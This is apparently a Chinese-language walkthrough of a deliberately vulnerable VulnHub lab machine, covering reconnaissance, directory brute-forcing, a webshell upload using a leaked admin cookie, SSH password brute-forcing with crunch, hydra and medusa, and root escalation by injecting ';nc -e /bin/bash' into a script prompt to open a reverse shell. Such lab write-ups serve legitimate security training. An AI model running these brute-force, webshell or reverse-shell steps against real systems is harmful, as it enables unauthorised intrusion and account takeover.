如果主机发现发现不了ip地址请看这里：https://hackergu.com/vulnhub-ip/
arp-scan主机发现nmap端口扫描
端口扫描
发现并没有可以利用的内容
我们使用dirb nikto 以及dirbuster进行目录爆破
dirb http://192.168.12.100/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -X .bak,.php,.html,.bak.php,.bak.bak,.php.bak -X 指定后缀名 -w 指定字典
我们去看一下
这里可以将这个php的备份文件下载
这里找到一个传文件的
这里发现一个js的
这里是我们发现的所有内容
这里我们分析这个js代码，意思是post请求传文件，并且将文件传递到ajax.php这里，然后通过ajax代码过滤之后，上传到指定路径，如果服务器响应为1则为上传成功
如果是其他的则为失败，所以我们要对ajax.php这我文件源码进行分析，而刚才我们将他下载了。
这个源码的意思是要在cookie的末尾加一个大写字母，并且是admin的cookie(&G6u@B6uDXMq&Ms)，并且会增加一个新的post参数secure它的值为val1d，如果满足这些条件的话可以上传dpf php 以及txt，否则只能上传txt 所以我们这里需要去构建一个post的且有使用admin的cookie，然后传一个webshell
在这里我们也找到了上传路径，关于owls
所以我们构建好传一个webshell即可
这里我们构建完成，但是还需要cookie的最后一个大写字母，我们将其爆破出来
这里成功得到最后一个字母是R，所以这里我们成功的传入了我们的一句话
这里我们也找到
这里我们就可以使用蚁剑连接
这里成功连接
在这里找到第一个falg
发现一个这个 从password文件中发现的
myvulnerableapp[Asterisk] asterrisk是* 密码是myvulnerableapp*
这里我们并不知道后面是个什么 内容我们可以使用hydra爆破一下，我们生成与myvulnerableapp相关的字典
crunch 16 16 -t myvulnerableapp, >> password.txt
crunch 16 16 -t myvulnerableapp@ >> password.txt
crunch 16 16 -t myvulnerableapp% >> password.txt
crunch 16 16 -t myvulnerableapp^ >> password.txt
生成一个字典
使用hydra爆破，因为这个在athena这个家目录下面发现的，所以我们用户名使用这个尝试
hydra -l athena -P /root/password.txt -e ns 192.168.12.100 ssh
使用-l 指定用户 -P 指定字典
成功拿下
medusa -h 192.168.12.100 -u athena -P /root/password.txt -M ssh -f
使用medusa也能拿下
那我们就ssh登陆
ssh athena@192.168.12.100
athena@192.168.12.100's password:myvulnerableapp*
但是这里并非root，我们需要提权
这里我们可以看到我们可以使用一个python的文件来提权，我们去看一下
查看文件的内容，脚本的意思是，在运行脚本时会要求输入一个seed，这个seed会echo到log.txt文件中，在echo时会执行bash命令，所以这里直接反弹一个shell就可以提权了！
这里我们本地监听1111 直接反弹1111且弹一个/bin/bash即可
Enter the seed : ;nc -e /bin/bash 192.168.12.20 1111; 这里需要一个; 要不然不成功
成功弹上
拿下！
希望对各位有帮助，后续的靶机还在持续更新中！